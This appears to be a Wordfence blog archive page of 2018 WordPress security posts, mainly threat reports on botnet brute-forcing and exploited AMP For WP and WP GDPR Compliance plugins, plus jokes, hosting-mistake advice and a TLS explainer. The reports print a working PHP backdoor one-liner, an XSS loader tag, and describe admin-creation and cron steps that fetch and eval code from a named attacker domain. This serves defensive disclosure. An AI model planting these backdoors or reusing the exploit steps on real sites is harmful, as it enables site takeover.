Cooperation With Authorities

A great deal of valuable data was gathered as a part of this investigation. Due to the nature of our work, our team maintains contact with a number of law enforcement agencies around the globe. While we typically share a great deal of data on these blog posts, like IP addresses and other indicators of compromise, in this case we have elected to retain some of this information in order to prevent interfering with possible future investigations.

In addition to law enforcement, we will be contacting some hosting providers we’ve identified with large numbers of infected “slave” sites. It is our hope that providing this information can help limit the effectiveness of this campaign by reducing the number of active sites launching attacks.

What Should Site Owners Do?

In order to prevent your site from falling victim to brute force attacks, it is valuable to implement restrictions and lockouts for failed logins. The Wordfence plugin features robust brute force protection, and the IPs launching the attacks are automatically blocked for Premium Wordfence users with access to the real-time IP blacklist.

The Wordfence scanner is effective at detecting the malware this attack campaign is dropping on affected websites. That detection capability is already in production for Premium customers and will be available for our community users in a few days.

If you believe your site is infected and launching attacks as part of this campaign, please consider making use of our site cleaning services. Our team is familiar with these cases and can ensure your issue is properly handled. You should also consider having our team perform a site security audit.


The Defiant Threat Intelligence Team identified a widespread campaign of brute force attacks against WordPress websites. These attacks were launched by malicious scripts planted on other WordPress sites, which received instructions from a botnet with a sophisticated attack chain, using a Russian based proxy provider. We are actively collaborating with law enforcement and hosting providers to mitigate the effects of this attack campaign and the threat actor involved.

Credits: Author Mikey Veenstra. Research by Brad Haas and Mikey Veenstra. Additional contributions from James Yokobosky, Paolo Tresso and Gregory Bloom. Edited by Mark Maunder and Dan Moen. Artwork by Syndel Klett.


The post Botnet of Infected WordPress Sites Attacking WordPress Sites appeared first on Wordfence.

Read More

XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.

The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

<script src=></script>

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);


Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs


Outbound Domains Accessed


Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.


This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.

Read More

Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin

Earlier this week the WP GDPR Compliance plugin was briefly removed from the repository after the discovery of critical security issues impacting its users. In yesterday’s post, we provided some details regarding these issues and illustrated their severity. In the hours since that post was published, our team has continued tracking the adversaries seeking to exploit this new attack vector. Today, we’re sharing the findings of this extended research. This post is technical in nature and will be helpful for network defenders, developers and security researchers.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

For details regarding the vulnerability and its scope be sure to read yesterday’s post, Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild, before proceeding.

If you run a WordPress site and use this plugin, you should update to the newest version which fixes the vulnerability, or remove the old version of the plugin. The newest version of WP GDPR Compliance is version 1.4.3.

Two Notable Exploits

The data gathered by our malware scans, firewall activity, and site cleaning reports has revealed two primary types of exploit taking place. The first case, identified early in our research and mentioned in yesterday’s post, involves modifying user registration settings. The second case, caught and logged by the new firewall rule for this vulnerability, injects malicious scheduled actions to be executed by WP-Cron. Examples we have seen of both attack types have made use of backdoor scripts named wp-cache.php, though the contents of these backdoor files differ between the two methods.

Administrator Access via Modified Settings

The most common attempted attacks against this flaw at the time of this writing directly exploit the ability to modify arbitrary settings on affected sites. By enabling new user registration and changing the default role of new users to Administrator, attackers are able to simply create a new privileged user, then log in and take any actions on the newly compromised site.

Interestingly, automated attempts to perform this activity are also reversing the settings modifications being made. The following screenshot contains relevant access log entries for one such attack.

In this log, we first see a GET request to the site’s homepage. This first request is necessary to produce the “ajaxSecurity” nonce required by the plugin to perform AJAX actions. Next, two POST requests are made to /wp-admin/admin-ajax.php. Data stored in POST bodies is not seen in access logs, however in the course of our research we have been able to acquire samples of this data. The first two AJAX requests contain the following data:



In the first action, we see the attacker enabling the users_can_register option, which adds functionality to a site’s wp-login.php page allowing users to create new accounts. Next, the default_role option is set to ‘administrator’, meaning any new user registered to the site is automatically given full administrative access.

The next items in the access log show the attacker making a POST request to /wp-login.php?action=register, and the subsequent redirect to the “Registration complete. Please check your email” dialog.

Lastly, two more AJAX requests are made, containing the following instructions:



Here we can see the attacker actually reversing the configuration changes that allowed them to create an administrator account, first by disabling user registration then setting the default user role to “subscriber”. This serves to help prevent other attackers from creating their own administrator accounts, as well as reducing the likelihood that a site’s administrator will notice a problem. It closes the door behind the attacker.

Several hours after the new user is created, the attacker logs in to their new administrator account and can begin installing further backdoors. In our sample cases, we’ve seen attackers uploading a robust PHP webshell in a file named wp-cache.php. The image below is a screenshot of the shell user interface.

With a file manager, terminal emulator, and PHP eval features, a script like this on a site can allow an attacker to deploy further payloads at will.

Backdoor Installation via Injected Cron

The second type of exploit we’re seeing is less straightforward, and more difficult to identify at a glance. By injecting malicious actions into a site’s WP-Cron schedule, these attackers are able to install a persistent backdoor that can replace itself if removed. While a variety of malicious actions can be stored and executed via WP-Cron, the cases we have seen so far rely on the presence of another popular WordPress plugin, WooCommerce.

The following line contains a portion of an AJAX request body blocked by the Wordfence firewall for attempting to insert a malicious WP-Cron task:


This cron task attempts to use WooCommerce’s built-in woocommerce_plugin_background_installer action to install the 2MB Autocode plugin, which allows the injection of arbitrary PHP code into all posts on a site. The code to be injected is stored by 2MB Autocode as an option in the database, so the next step is to modify that setting using the same vulnerability:


The [malicious_php] placeholder in the above example contains a PHP backdoor script which performs the following actions in sequence:

  1. Receive encoded input stored in the attacker’s request as an “HTTP_X_AUTH” header, which declares the locations used in the following steps.
  2. Make a request to http://pornmam[.]com/wp.php
  3. Decode the response and save the resulting PHP backdoor as wp-cache.php
  4. Include the core file /wp-admin/includes/file.php
  5. Deactivate and delete the 2MB Autocode plugin
  6. Clear the WP-Cron event associated with the attack
  7. Delete the 2mb_autocode_topstring option containing this code.

While the backdoor script seen in these cases shares the name wp-cache.php with other methods, the contents are much different. Instead of a self-contained web shell, this script contains some decoding functions and some execution syntax, but none of the executed payload is stored in the file. Instead, the payload to be decoded and executed is stored as a POST variable or in a cookie.

Without any captured requests to this script, we can’t know exactly what the intended behavior is. However, given the nature of the script and its eventual call to eval(), it’s to be expected that any arbitrary code can be executed by way of this backdoor.

No Mobilization Yet

In most infections, there will be one or more active methods in place to bring value of some form to the attacker. Whether an infected site is serving spam emails, hosting a phishing scam, or any other direct or indirect monetization, there’s often a clear goal identified as part of the triage process. However, despite the rapid occurrence of these identified cases, so far our research has only turned up backdoor scripts on sites impacted by this issue. No “end-stage” payloads intended to directly benefit an attacker have yet been associated with these attacks.

This behavior can mean a number of different things. It’s possible that these attackers are stockpiling infected hosts to be packaged and sold wholesale to another actor who has their own intentions. There’s also the chance that these attackers do have their own goals in mind, but haven’t launched that phase of the attack yet. In either case, sites impacted by these attacks should immediately work to identify and remove any backdoors present.

Indicators Of Compromise

The following section contains a series of IOCs (Indicators of Compromise) that can be used to assist in identifying and triaging cases similar to the ones in this report. Be advised that any common methods may be changed by the malicious actor at any time, especially as more attackers begin exploiting this vulnerability.

Most Prevalent Attacking IP Addresses

  • Admin Creation Method:
  • Cron Injection Method

Outbound Domains Accessed


Malware Hashes

  • Admin Creation Method Backdoor
    • MD5: b6eba59622630b18235ba2d0ce4fcb65
    • SHA1: 577293e035cce3083f2fc68f684e014bf100faf3
  • Cron Injection Method Backdoor
    • MD5: c62180f0d626d92e29e83778605dd8be
    • SHA1: 83d9688605a948943b05df5c548bea6e1a7fe8da

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following examples:
    • t2trollherten
    • t3trollherten
  • An entry in your site’s options table with an option_name starting with 2mb_autocode (If not used intentionally)
  • The option default_role set to anything other than “subscriber” unless directly intentional.
  • The option users_can_register enabled unintentionally.

Installed Plugins

  • 2MB Autocode (If not used intentionally)


It is our hope that the details revealed by this research can be used to assist others in the security sphere to track and prevent these exploits. However, the attacks first seen following an impactful security disclosure can be considerably different than those seen in the weeks and months after. Given the scope of the vulnerability in question, it’s likely that more unique and sophisticated attack methods will be seen in the wild before long.

As always, we stress the importance of performing regular plugin updates to prevent these attacks from succeeding in the first place. The Wordfence plugin notifies administrators of outdated plugins automatically in order to help facilitate a quick response to potential vulnerabilities. In addition, the Wordfence Threat Intelligence team has released firewall rules and malware signatures to our premium customers in real-time to protect against this exploit and detect the indicators of compromise associated with the attack.

Written by Mikey Veenstra with contributions from Stephen Rees-Carter and Marco Wotschka. Edited by Mark Maunder. 

The post Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin appeared first on Wordfence.

Read More

Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild

After its removal from the WordPress plugin repository yesterday, the popular plugin WP GDPR Compliance released version 1.4.3, an update which patched multiple critical vulnerabilities. At the time of this writing, the plugin has been reinstated in the WordPress repository and has over 100,000 active installs. The reported vulnerabilities allow unauthenticated attackers to achieve privilege escalation, allowing them to further infect vulnerable sites. Any sites making use of this plugin should make it an immediate priority to update to the latest version, or deactivate and remove it if updates are not possible.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The Vulnerability

In typical use, the plugin handles a few types of actions which can be submitted via WordPress’s admin-ajax.php functionality. These actions include making the sort of data access requests and deletion requests required by GDPR, but also includes functionality for changing the plugin’s settings from within the WordPress admin dashboard.

However, unpatched versions of WP GDPR Compliance (up to and including version 1.4.2) fail to do capability checks when executing its internal action save_setting to make such configuration changes. If a malicious user submits arbitrary options and values to this endpoint, the input fields will be stored in the options table of the affected site’s database.

In addition to the storage of arbitrary options values, the plugin performs a do_action() call using the provided option name and value, which can be used by attackers to trigger arbitrary WordPress actions.

Disclosures of this flaw have been reporting it as two distinct vulnerabilities: first the arbitrary options update and second the arbitrary action calls, but with both potential exploits living in the same block of code and executed with the same payload, we’re treating this as a single privilege escalation vulnerability.

Exploits In The Wild

We’ve already begun seeing cases of live sites infected through this attack vector. In these cases, the ability to update arbitrary options values is being used to install new administrator accounts onto the impacted sites.

By leveraging this flaw to set the users_can_register option to 1, and changing the default_role of new users to “administrator”, attackers can simply fill out the form at /wp-login.php?action=register and immediately access a privileged account. From this point, they can change these options back to normal and install a malicious plugin or theme containing a web shell or other malware to further infect the victim site.

In several of the cases we’ve triaged since the disclosure of this vulnerability, we’ve seen malicious administrator accounts present with the variations of the username t2trollherten. This intrusion vector has also been associated with uploaded webshells named wp-cache.php. While these are common IOCs (Indicators of Compromise), these exploits are of course subject to change as attacks grow in sophistication.


Until the patch was released yesterday, more then a hundred thousand WordPress sites using the WP GDPR Compliance plugin were vulnerable to this type of attack. It is of critical importance that any site using this plugin performs the update as soon as possible.

At this time, the Wordfence Threat Intelligence team has released a new firewall rule preventing exploitation of this flaw for all premium users. Users of the free version of Wordfence will receive the new rule following a thirty-day delay, but as always they can protect themselves by updating their site’s plugins.

If you believe your site has been impacted by this vulnerability, please do not hesitate to reach out to our site cleaning team to begin the remediation process. Also, please consider sharing this post with your peers to improve awareness of this issue.

The post Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Defiant’s Top 5 Spooky Security Jokes

Happy Halloween!
Among a plethora of reasons to enjoy working here, we at Defiant are particularly vocal about our love for the remote office. A team spread across timezones and continents might sound like a challenge in group cohesion, but even though we’re divided geographically, we’ve forged a great culture that a breakroom ping-pong table just can’t hold a candle to.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

Since we didn’t exactly have cubicles to decorate for the occasion, today we invited the team to participate in a Halloween party via video conference. As part of the festivities, we held a team contest for the best security-themed or Halloween-themed jokes, and it was filled with just as many eye-rolling puns and dad jokes as you’d expect. Still, we all shared a laugh and decided to share some of the favorites. Enjoy!


What’s a ghost’s favorite data type?



How do you fix a vulnerability in your jack-o-lantern?

With a pumpkin patch.


Why are witches so good at deobfuscating malware?

They know hex.


I tried to set my password to ‘beefstew1‘ but the computer says it wasn’t stroganoff.



“Race condition.”

“Who’s there?”


If you’re wondering who’d actually get a giggle out of this sort of thing, check out our video, Meet The Defiant Team. Happy Halloween from us at Defiant!

The post Defiant’s Top 5 Spooky Security Jokes appeared first on Wordfence.

Read More

Three WordPress Security Mistakes You Didn’t Realize You Made

Considering the amount of malicious activity that takes place on the internet, it’s no surprise that successful attacks on WordPress sites are launched across a wide variety of vectors. Whether outdated plugin code is to blame, or password reuse, or any number of other security flaws, no site owner sets out to introduce a vulnerability into their environment. Ultimately any security issue begins with a mistake, and while mistakes are forgivable there’s still risk involved if they’re not discovered and remedied.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

In today’s post, we’ll look at a few common mistakes made by owners of WordPress sites that can create security concerns. These mistakes aren’t strictly application-specific, but are issues many WordPress users will encounter in the course of running their site.


Mistake 1 – Abusing Addon Domains

In the era of one-stop-shop customer experiences, it can be attractive for a WordPress design agency to be able to offer site hosting to their clients. However, when corners are cut in the implementation of such solutions, security flaws begin to surface.

Web hosts commonly make use of user-friendly control panels, like cPanel and Plesk, to improve the process of handling many server-side tasks for typical websites. Common operations like FTP user management and database setup can be done easily by just about anyone through a handy web interface. Many hosting companies running such control panels also allow their users to create and host multiple domains within a single account. In cPanel and most other contexts, these are called addon domains. With addon domains, a user can easily start and manage a number of sites without investing in separate hosting accounts for each of them. Many shared hosting providers encourage this use of addon domains, offering plans which allow users to run “unlimited” sites on a single account. However, misusing addon domains can create an insecure condition in the event that multiple users have access to the account–authorized or otherwise.

When a script on a webserver is accessed by a client, like a visitor requesting WordPress’s index.php file, the process is executed by a certain user account on the server itself. On typical WHM/cPanel servers, web processes are run as the user associated with the site’s cPanel account. Put another way, if I have a cPanel account with the username mikeyv and host three WordPress sites on it, every PHP process for each site executes as mikeyv on the server itself. This means that scripts running on one site have the ability to read and write files on other sites within the same cPanel account. Consequently, if those three WordPress sites each belong to a different one of my clients, it becomes possible for someone with file access to any one of the sites to influence the rest.

What’s The Problem?

There are two primary causes for concern with this particular mistake. First, in general this means that a disgruntled or otherwise troublemaking contributor to one of your addon domains can be disruptive (or worse) to other sites in your account. As long as they have FTP access or administrative permissions to their site, they can cause considerable damage to your account if they’re of a mind to. Even in cases where an FTP account associated with one of the addon domains may be jailed to its own site’s directory, if the user is able to upload a PHP file they can traverse the entirety of the cPanel account with a web shell or similar script.

The second cause for concern is in the case of a security incident. If one site is vulnerable and an attacker installs a backdoor, they now have complete access to further infect the rest of the sites you’re hosting. This scenario is a common one, and often results in cases of repeated reinfection. When the owner of the cPanel account is unaware of the scope of the infection, it’s common for the individual infected sites to be restored by their respective owners, allowing them to be immediately reinfected by scripts contained elsewhere in the account.

What Should I Do?

If you don’t host multiple sites within the same hosting account, you’re in the clear. If you do host multiple sites in one account, but you and other administrators are approved to access them all, just remain aware that any security issue for one site is an issue for all of them.

However, if you host multiple sites in the same account that belong to different clients, or each have different administrators, it should become a priority to get these sites isolated as soon as possible. While there are costs associated with maintaining hosting accounts for each client, it simply isn’t worth the risk to your business if an incident were to occur.

Mistake 2 – Unsafe Copying & Renaming

It’s always a good idea to make a backup of an important file if you’re making a risky change to it. After all, it’s already bad enough that something is getting tweaked on the live site, so you’d better make sure you can revert the change quickly in case it doesn’t behave as intended. The tricky part here is that depending on how you’re making the backup copy of that file, you could be exposing sensitive information about your site.

It’s fairly common to see these hastily-made copies of files given names ending in something like .bak or .old. For example, if someone is making a quick change to their site’s wp-config.php file, they might make a copy first and name it wp-config.php.bak. That way, later on they can easily identify the contents and purpose of the file in case they need to restore it.

What’s The Problem?

The issue here stems from the way your web server treats files based on their extensions. While there’s nothing inherently “magic” about file extensions like .php and .jpg, applications will typically use the extension as a way to interpret how a file should be handled. In particular, a web server is going to see a request to a file ending in “.php” and assume it contains PHP code to be processed locally. Once processed, the response sent to the client contains the output of the script, but not the code itself.

When a file is instead given an unknown extension like .bak, the server will need to fall back on default behavior in determining what to do if the file is requested by a client. In most cases, the default behavior will be to treat it as a download and simply send the requested file as-is to the client. This means if an attacker successfully guesses that our example site contains a file named wp-config.php.bak, they can download that file and read its contents, giving them access to database credentials and cryptographic salts.

Additionally, unsafe directory backup practices can allow highly vulnerable code to remain accessible on your site long after it would have been removed otherwise. For example, if you redesigned your site and left the old one in a subdirectory like /oldsite or /backup for some reason or another, those directories will still be accessible on the web. Any vulnerable code present in the defunct sites may still allow an attacker to breach your environment and infect your primary site.

What Should I Do?

Short answer, don’t leave files hanging around your WordPress environment when you no longer need them. In the cases where you must, though, just be sure to keep a file’s original extension at the end of the renamed file. To call back our example above, wp-config_backup.php is still a perfectly descriptive name which has the advantage of not being freely downloadable to anyone on the internet.

For the sake of completeness, yes, it’s possible to hack in some special handling for your .bak files into your site’s .htaccess or webserver configuration. With that said, it’s far outside the scope of this article, and still probably a better idea just not to use the unsafe extension to begin with.

Mistake 3 – Hosting Email On Your Webserver

The initial shopping stage of building a web presence can be tough. Eventually though, you nabbed a good deal for a hosting plan and–Score!–it came with unlimited free email accounts! You knew there were professional email solutions around, but you seriously can’t beat free.

Fast forward a bit, and now you’ve got a site pulling in a respectable amount of traffic, and a dozen or more inboxes belonging to members of your team. They use their email to talk to each other, send documents to clients, and receive any number of automated emails from various services.

What’s The Problem?

As we discussed in Mistake 1 above, all of the files in a cPanel account are owned by the same user. This user also happens to pass on its authority to any PHP scripts it executes. What many fail to realize is that the email inboxes within your cPanel account are all still just files living under that very same account ownership.

The practical implication of this situation is similar to the above. Any user with filesystem access on the account (whether it’s a legitimate FTP user, or a WordPress administrator, or a malicious intruder) can access the directory structure that contains all of the cPanel account’s mailboxes.

While the immediate privacy concerns of someone reading someone else’s email are obvious, the problem compounds when third-party services are considered. Effectively, this means that an attacker is able to perform password resets for accounts associated with the cPanel-hosted email addresses, since they can copy the email validation links out of the raw email file directly. This technique can allow the attacker to pivot from a web application breach to much larger scopes, depending on the kind of accounts associated with affected email addresses. Is your company Twitter account associated with one of these addresses? How about financial accounts?

What Should I Do?

If the email for your domain is hosted on a cPanel account (or any similar environment, as this isn’t necessarily a cPanel-specific problem), consider your use case carefully. If you’re running a hobby blog and just need a simple address, you’re probably okay as long as you’re aware of the risks. If you’re running a business of any notable size, though, it’s highly recommended that you seek out a standalone email solution in order to isolate mail from your webserver entirely.

Note that these warnings apply to typical shared environments, and individual systems may be configured more or less securely. Through use of open_basedir and disable_functions restrictions to prevent PHP from reading files outside of allowed directories or from executing system calls, it can be made more difficult for an attacker to access email hosted on the account. However, these measures are far from bulletproof and there are documented methods to bypass such restrictions. In general, it’s still a safer decision just to get the mailboxes onto a different environment.


Whether it’s the result of a hasty shortcut or honest inexperience, mistakes are bound to happen and don’t have to be the end of the world. Just be sure to remain mindful of the decisions you make in the process of running your website. Don’t cram a bunch of clients into the same hosting account, don’t leave sensitive files accessible to the web, and don’t keep your email where someone else could read it. Thanks for reading!


The post Three WordPress Security Mistakes You Didn’t Realize You Made appeared first on Wordfence.

Read More

Yes, You Should Probably Have A TLS Certificate

Last week’s article covering the decision to distrust Symantec-issued TLS certificates generated a great response from our readers. One common question we received, and one that pops up just about any time SSL/TLS comes up, is how to determine when a site does and does not need such a certificate. Spoiler: Your site should probably have a TLS certificate.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

A subject of some discussion in the web community surrounds the use of TLS certificates and the implementation of HTTPS that these certificates allow. While their use is critical on sites where sensitive data from visitors may be involved, like payment data or other personally identifiable information (PII), the debate concerns the use of HTTPS in cases where users aren’t providing sensitive input. In today’s post, we’ll take a practical look at the difference between HTTP and HTTPS traffic, and discuss the benefits of being issued a certificate regardless of the way users interact with your site.

What’s TLS? Is It Different From SSL?

Before we really dig in, let’s clear up some terminology for anyone who might be unfamiliar.

HTTPS (short for Hypertext Transfer Protocol Secure) allows for the secure transmission of data, especially in the case of traffic to and from websites on the internet. The security afforded by HTTPS comes from the implementation of two concepts, encryption and authenticationEncryption is a well-known concept, referring to the use of cryptography to communicate data in a way that only the intended recipient can read. Authentication can mean different things based on context, but in terms of HTTPS it means verification is performed to ensure the server you’re connecting to is the one the domain’s owner intended you to reach. The authentication portion of the transaction relies on a number of trusted sources, called Certificate Authorities (CA for short). When a certificate is requested for a domain name, the issuing CA is responsible for validating the requestor’s ownership of that domain. The combination of validation and encryption provides the site’s visitors with assurance that their traffic is privately reaching its intended destination, not being intercepted midway and inspected or altered.

TLS, or Transport Layer Security, is the open standard used across the internet to facilitate HTTPS communications. It’s the successor to SSL, or Secure Sockets Layer, although the name “SSL” has notoriously picked up common usage as an interchangeable term for TLS despite it being a deprecated technology. In general when someone brings up SSL certificates, outside of the off chance they’re literally referring to the older standard, they’re probably talking about TLS. It’s a seemingly minor distinction, but it’s one we hope will gain stronger adoption in the future.

I Shouldn’t Use TLS Unless I Really Need To, Right?

There’s no shortage of conflicting advice across the web regarding when to implement TLS and when to leave a site insecure, so it’s no surprise that a lot of strong opinions develop on both sides of the issue. Outside of cut-and-dry cases like PCI compliance, where payment transactions need to be secure to avoid a policy violation, you’ll find plenty of arguments suggesting cases where the use of TLS is unnecessary or even harmful to a website. Common arguments against the wide use of TLS tend to fall into two general categories: implementation and performance.

Concerns about implementation difficulties with TLS, like the cost of purchasing a certificate, difficulty in setting up proper HTTPS redirects, and compatibility in general are common, but are entirely manageable. In fact, TLS has never been more accessible. Let’s Encrypt, a free certificate issuer which launched in early 2016, has issued just under two-thirds of the active TLS certificates on the internet at the time of this writing. Following the flood of free certificates into the marketplace, many popular web hosting companies have begun allowing Let’s Encrypt certificates to be installed on their hosted sites, or are at least including their own certificates for free with their hosting. After all, site owners are more security-conscious now than ever, and many will happily leave a host if TLS is a cost-prohibitive endeavor.

Other pain points in the implementation of HTTPS, like compatibility with a site’s existing application stack, are no different than the pain points you’d see following other security best practices. Put simply, avoiding the use of HTTPS because your site will break is the same as avoiding security updates because your site will break. It’s understandable that you might delay it for a period of time so you can fix the underlying issue, but you still need to fix that issue.

The other arguments against widespread TLS are those of performance concerns. There’s certainly overhead in play, considering the initial key exchange and the processing necessary to encrypt and decrypt traffic on the fly. However, the efficiency of any system is going to depend heavily on implementation. In the case of most sites, the differences in performance are going to be negligible. For the rest, there’s a wealth of information available on how to fine-tune an environment to perform optimally under TLS. As a starting point, I recommend visiting Is TLS Fast Yet? to learn more about the particulars of this overhead and how best to mitigate it.

My Site Doesn’t Take Payments, So Why Bother?

Each debate ultimately hinges on whether the site owner sees value in HTTPS in the first place. A lot of the uncertainty in this regard can be traced to unfamiliarity with the data stored in HTTP requests, as well as the route that these requests travel to reach their destination. To illustrate this, let’s take a look at the contents of a typical WordPress login request.

The request contains a number of interesting pieces of information:

  • The full URL of the destination, including domain and file path
  • User-Agent details, which describe my browser and operating system
  • My referer, which reveals the page I visited prior to this one
  • Any cookies my browser has stored for this site
  • The POST body, which contains the username and password I’m attempting to log in with

The implications of this request falling into the wrong hands should be immediately recognizable in the fact that my username and password are plainly visible. Anyone intercepting this traffic can now establish administrative access to my site.

Contrast this with the same request submitted via HTTPS. In an HTTPS request, the only notable information left unencrypted is the destination hostname, to allow the request to get where it needs to go. As far as any third party is concerned, I’m sending this request instead:

Outside of examples as obvious as login security, the thing to keep in mind above all is the value of privacy. If a site’s owner hasn’t installed a TLS certificate, even though the site is purely informational and takes no user input, any traffic to that site can be inspected by the user’s ISP, or even the administrator of the network they’re connected to. This is notably problematic in certain cases, like when someone might be researching private medical or legal matters, but at the end of the day the content of a site is irrelevant. Granted, my hat probably contains a bit more tinfoil than most, but there’s no denying this is an era where browsing habits are tracked wherever possible. Real examples exist of ISPs injecting advertising into unencrypted traffic, and the world has a nonzero number of governments happy to inspect whatever traffic they can get their hands on. Using HTTPS by default shows your site’s users that their privacy is important to you, regardless of whether your site contains anything you might consider private.


The internet at large is rapidly adopting improved security standards, and the majority of web traffic is now being delivered via HTTPS. It’s more important than ever to make sure you’re providing your users with the assurance that their traffic is private, especially with HTTP pages being flagged as “Not Secure” by popular browsers. Secure-by-default is a great mindset to have, and while many of your users may never notice, the ones who do will appreciate it.

Interested in learning more about secure networking as it pertains to WordPress? Check out our in-depth lesson, Networking For WordPress Administrators. It’s totally free, you don’t even need to give us an email address for it. Just be sure to share the wealth and help spread the knowledge with your peers, either by sharing this post or giving them the breakdown yourself. As always, thanks for reading!

The post Yes, You Should Probably Have A TLS Certificate appeared first on Wordfence.

Read More
Page 1 of 212»